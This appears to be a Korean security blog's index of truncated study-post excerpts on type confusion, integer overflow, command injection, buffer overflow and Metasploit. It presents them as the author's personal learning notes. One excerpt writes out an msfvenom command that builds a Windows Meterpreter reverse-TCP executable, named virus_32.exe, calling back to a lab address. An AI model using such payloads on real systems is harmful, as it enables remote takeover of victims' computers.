배울내용: 시스템 해킹단위공격 기술Type Confusion 발생 원리Uninitialized 실습 데이터 유형 혼동 취약점  방지 방법메모리 취약점데이터 유형 혼동 취약점 이란?       Type Confusion (데이터 유형 혼동) 이란?  소프트웨어에서 데이터의 유형을 잘못 처리하여 발생하는 보안 취약점으로 프로그램이 특정 유형의 데이터를 기대할 때 다른 유형의 데이터가 들어오면, 메모리 오류나 프로그램 충돌, 악성 코드 실행 같은 문제가 생길 수 있는 취약점을 말한다.    발생 원인 보통 자료형의 잘못된 캐스팅 혹은 여러자료형으로 해석될 수 있는 Union 타입의 잘못된 사용에서 나타난다. Use After Free 등 다른 취약점의 Exploit 진행 과정에서 고의적으로 Type Confu..

배울내용: 시스템 해킹단위공격 기술Integer Overflow 발생 원리Integer Overflow 실습 Integer Overflow  방지 방법메모리 취약점정수 오버플로우란? Unsigned 자료형      논리 취약점중 하나인 Integer Overflow 즉 ,정수 오버플로우 라는 취약점이있다.이번포스팅에는 이 공격에 대해서 알아본다        먼저 위에 코드를 실행하면 어떤 결과 값이 나올까? 정답은 -1 도 아닌 아래의 큰 값이 나오게 된다    메이플 스토리를 예시로 들어보자   한번쯤  10년전쯤  메이플스토리라는 인기RPG게임에는 풀메소라는게 있었다 이떄 최대 소지금액이 2147483647 이였다.  (필자도 한떄 메이플광인에 포스팅까지하는 사람이였다..(콤보디아의 블로그   이러한..

배울내용: 시스템 해킹단위공격 기술Command Injection 발생 원리Command Injection 실습 Command Injection  방지 방법메모리 취약점커멘드 인젝션 이란? 백틱 인젝션     취약점 종류중 논리취약점중 하나인 Command Injection ! 커멘드 인젝션 ,  Command Injection 이란것에 대해 알아보자   Command Injection 이란?사용자의 입력값을 system, exec 와 같은 실행 함수의 인자로 사용할떄, 입력 값에 대한 적절한 검증을 수행하지 않아 발생. 웹에서 발생하는 Command Injection 공격과 근본적으로 동일  의미공격자가 임의의 시스템 명령어를 실행할수 있는 취약점    추세현업자에 말에 따르면 Command Injec..

배울내용:버퍼 오버플로우 취약점시스템 해킹Buffer OverFlow버퍼 오버플로우의 발생 원리버퍼오버플로우 실습 버퍼 오버플로우 방지 방법메모리 취약점버퍼 오버플로우 스택구조     취약점은 공격 방법에 따라 크게 2가지로 구분된다 • Memory Corruption : 개발자가 의도하지 않은 방식으로 동작하여 메모리 공간을 사용하거나 읽는 등 메모리를 오염시키는 행위(Crash를 통해 판단)• Logical Bug : 프로그램의 논리적 오류로 인해 발생하게 되는 취약점(Crash가 발생하지 않으며 발견하기 어려움)     이번글에서는 메모리의 경계를 넘어서 데이터를 읽거나 쓰는 경우 발생하는 취약점과 그외에 아래의 표에 보이는 몇가지를 실습을 해볼것이다. 가장먼저 버퍼 오버플로우 (Buffer Ove..

배울내용 : meterpreter 공격 meterpreter window10 공격 미터프리터 미터프리터 원격조종 msfvenom 윈도우 session 원격조종 Metaploit 시스템 보안 시스템 해킹 msfconsole 제가 지금 부터 작성하는 모든글은 제가 공부기록용이기 때문에 정확하지 않을수 있음을 알려드립니다. 틀린게 있으면 댓글로 써주시면 고치겠습니다. kali를 켜서 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.100 lport=4444 -f exe > /root/virus_32.exe msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.100 lport=4444 -f ex..

배울 내용: ftp 해킹 DoS/DdoS Metaploit BindTCP ScanningTomCap Brute Force db 해킹 데이터베이스 해킹 시스템 보안 시스템 해킹 제가 지금 부터 작성하는 모든글은 제가 공부기록용이기 때문에 정확하지 않을수 있음을 알려드립니다. 틀린게 있으면 댓글로 써주시면 고치겠습니다. 이번시간에는 MetaSploit 라는걸 배워볼것이다 (여전히 BIND TCP 그러나 metaSploit는 reverse TCP기능도 있다 ) Bind TCP 페이로드 우리가 여태 계속한 방법이다 방식에서, 공격 대상 시스템(즉, 취약한 시스템)은 공격자와의 연결을 위해 특정 포트를 열고 대기 Reverse TCP 페이로드 반대로, Reverse TCP 페이로드에서는 공격 대상 시스템이 공격자..